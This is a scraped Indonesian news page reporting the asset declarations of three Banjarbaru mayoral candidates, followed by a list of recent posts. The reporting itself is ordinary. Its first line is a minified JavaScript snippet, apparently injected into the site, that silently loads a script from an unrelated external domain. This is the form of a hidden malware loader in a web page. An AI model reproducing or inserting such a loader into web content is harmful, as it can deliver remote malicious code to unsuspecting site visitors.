(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ini Kekayaan 3 Calon Wali Kota Banjarbaru, Harta Iskandar Paling Tajir Capai Puluhan Miliar!


KANALKALIMANTAN.COM, BANJARBARU – Masa kampanye para pasangan calon (paslon) Wali Kota dan Wakil Wali Kota Banjarbaru telah dimulai. Upaya memikat hati para pemilih itu akan berlangsung selama 71 hari lamanya, terhitung sejak 26 September hingga 5 Desember mendatang.

Kini ketiga paslon yang telah ditetapkan oleh KPU Banjarbaru, yakni duet Gusti Iskandar Sukma Alamsyah-AR Iwansyah, duet Aditya Mufti Ariffin-Wartono, dan duet Haji Martinus-Darmawan Jaya Setiawan, telah siap beradu strategi dan siasat demi mengokohkan lumbung suara pendukung mereka.

Namun sebelum itu, Kanalkalimantan.com akan memaparkan ‘isi kantong’ ketiga paslon berdasarkan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) yang telah diterima oleh Komisi Pemberatasan Korupsi (KPK).

Dari data yang dihimpun Kanalkalimantan.com, calon Wali Kota Banjarbaru yang paling tajir adalah Gusti Iskandar dengan kekayaan mencapai Rp 40 miliar atau lebih rincinya Rp 40.066.560.000. Dilansir dari situs LHKPN, diketahui bahwa Iskandar telah melaporkan jumlah harta kekayaanya pada 5 September 2020.

Infografis: Kanalkalimantan/Yuda

 

Harta yang dilaporkan dibagi menjadi beberapa kategori, yakni harta tanah dan bangunan, alat transportasi dan mesin, harta bergerak lainnya, surat berharga, kas dan setara kas, dan utang.

Dalam kategori harta tanah dan bangunan, Anggota DPR RI dari Partai Golkar periode 2002-2004 dan 2009-2014 itu memiliki tanah dan bangunan yang tersebar di Banjarmasin, Banjarbaru, Tanah Laut, Barito Kuala, Sleman, hingga Jakarta. Total keseluruhannya bernilai Rp 34,4 miliar.

Untuk kategori alat tranpsortasi dan mesin, pria kelahiran 27 Januari 1959 itu memiliki tiga unit mobil, dengan nilai Rp 1,9 miliar. Lalu, di kategori harta bergerak kainnya berjumlah Rp 645 juta.

Kategori surat berharga senilai Rp 900 juta dan kategori kas dan setara kas menyentuh Rp 2,7 miliar.

Kendati demikian, Iskandar tercatat memiliki utang sebesar Rp 600 juta, yang mengakibatkan jumlah harta kekayaannya harus dikurangi dengan utang tersebut. Sehingga ril total kekayaan Iskandar ialah sekitar Rp 40 miliar atau lebih rincinya Rp 40.066.560.000.

Di posisi dua, ditempati Aditya Mufti Ariffin. Ia tercatat telah melaporkan harta kekayaannya pada 19 Agustus 2020. Pria berusia 36 tahun itu memiliki sebanyak 17 lahan tanah yang tersebar di Banjarmasin, Banjarbaru, Banjar dan Barito Kuala. Ia juga memiliki 5 lahan tanah yang telah berisi bangunan, 4 diantaranya berada di Jakarta Selatan.

Nilai keseluruhan tanah dan bangunan ini menyentuh Rp 17,1 miliar.

Ketua DPW PPP Kalsel ini memiliki 4 unit mobil, di antaranya Fortuner dan Avanza. Ia membeli seluruh kendaraan itu dalam jangka waktu 2013-2016, dengan nilai Rp 1,1 miliar.

Harta bergerak lainnya milik mantan anggota Komisi III DPR RI tersebut ditaksir sekitar Rp 1 miliar dan surat berharga senilai Rp 28 juta. Kas dan setara kas milik Aditya mencapai Rp 2,2 miliar.

Diketahui bahwa Aditya memiliki utang sebesar Rp 4,8 miliar. Setelah melalui pengurangan dengan jumlah utang tersebut, tercatat bahwa total harta kekayaan Aditya sebesar Rp 18,7 miliar atau rincinya Rp 18.776.240.166.

Dan di urutan buncit, ditempati Haji Martinus diketahui memiliki 3 lahan tanah yang terpusat di Kabupaten Banjar. Ia juga memiliki 2 tanah berisi bangunan. Nilai seluruh tanah dan bangunan miliknya senilai Rp 1,9 miliar.

Penjabat (Pj) Wali Kota Banjarbaru periode 2015-2016 dan juga mantan Kepala Dinas PUPR Provinsi Kasel itu memiliki 2 mobil, yang nilainya ditaksir menyentuh angka Rp 225 juta.

Tak hanya itu saja, Haji Martinus diketahui memiliki harta bergerak lainnya dengan nilai Rp 53,5 juta dan di kategori kas dan setara kas sebesar Rp 41,8 juta. Ia juga mencatatkan diri sebagai calon kepala daerah yang tak memiliki utang.

Nilai harta kekayaan Haji Martinus seluruhnya mencapai Rp 2,3 miliar. Ia melaporkan seluruh harta kekayaannya tersebut pada 4 September 2020.

LHPKN bukanlah instrumen untuk melihat kebersihan ketiga paslon di Pilkada Banjarbaru. Melainkan hanya sebatas tolak ukur ketaatan hukum para paslon dalam menjalankan prosedur.

Kini, publik kota Banjarbaru telah siap dihadapkan pada euforia pesta demokrasi selama beberapa bulan ke depan. Keputusan untuk memilih siapa Wali Kota dan Wakil Wali Kota menentukan nasib kota berjuluk Idaman selama 4 tahun ke depan. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

19 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

23 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.